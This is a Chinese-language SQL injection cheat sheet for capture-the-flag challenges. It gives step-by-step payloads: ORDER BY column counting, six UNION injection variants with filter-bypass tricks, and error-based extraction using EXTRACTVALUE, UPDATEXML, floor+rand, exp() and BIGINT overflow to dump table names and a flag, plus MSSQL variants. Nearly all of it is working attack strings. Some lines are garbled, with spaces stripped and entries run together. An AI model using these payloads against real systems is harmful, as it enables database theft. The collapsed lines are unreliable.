ORDER BY 10 → 错误 → ORDER BY 5 → 成功 → ORDER BY 8 → 错误
→ ORDER BY 6 → 成功 → ORDER BY 7 → 错误 → 列数 = 6
⛔ ORDER BY N 成功 ≠ 列数是 N!必须找到 N+1 失败的边界才能确认
Phase 2: UNION 注入(首选!必须穷尽 6 种变体后才能放弃)
UNION 无截断限制,一次拿完整 flag。必须按以下顺序尝试所有 6 种变体:
-- ① 标准 UNION(让原查询空)' AND 1=2 UNION SELECT 1,2,3,4,5,6--
-- ② NULL 代替数字
'AND1=2UNIONSELECTNULL,NULL,NULL,NULL,NULL,NULL-- -- ③ 不同注释符' AND 1=2 UNION SELECT 1,2,3,4,5,6#
'AND1=2UNIONSELECT1,2,3,4,5,6-- --- ④ 大小写/注释绕过' AND 1=2 UNiON SeLeCT 1,2,3,4,5,6--
-- ⑤ 检查回显位: 响应中出现了哪个数字(2/3/4)?该位置放查询
'AND1=2UNIONSELECT1,database(),3,4,5,6-- -- ⑥ 检查完整 HTML 源码(不只是摘要),搜索数字 1-6 是否在隐藏元素中
' AND EXTRACTVALUE(1,CONCAT(0x7e,database()))--
'AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))--
方式 2: UPDATEXML(EXTRACTVALUE 被过滤时)
' AND UPDATEXML(1,CONCAT(0x7e,database()),1)--
'AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),1)--
方式 3: floor+rand(MySQL 经典,兼容性最好)
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
'AND (SELECT1FROM (SELECTCOUNT(*),CONCAT((SELECT flag FROM flag LIMIT 0,1),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUPBY x)a)--
方式 4: exp() 溢出(MySQL 5.5.5-5.5.49)
' AND exp(~(SELECT*FROM(SELECT database())a))--
方式 5: BIGINT 溢出
' AND !(SELECT*FROM(SELECT database())a)-~0--
数据库差异:
MSSQL: ' AND 1=CONVERT(int,@@version)-- 或 ' AND 1=CAST(db_name() AS int)--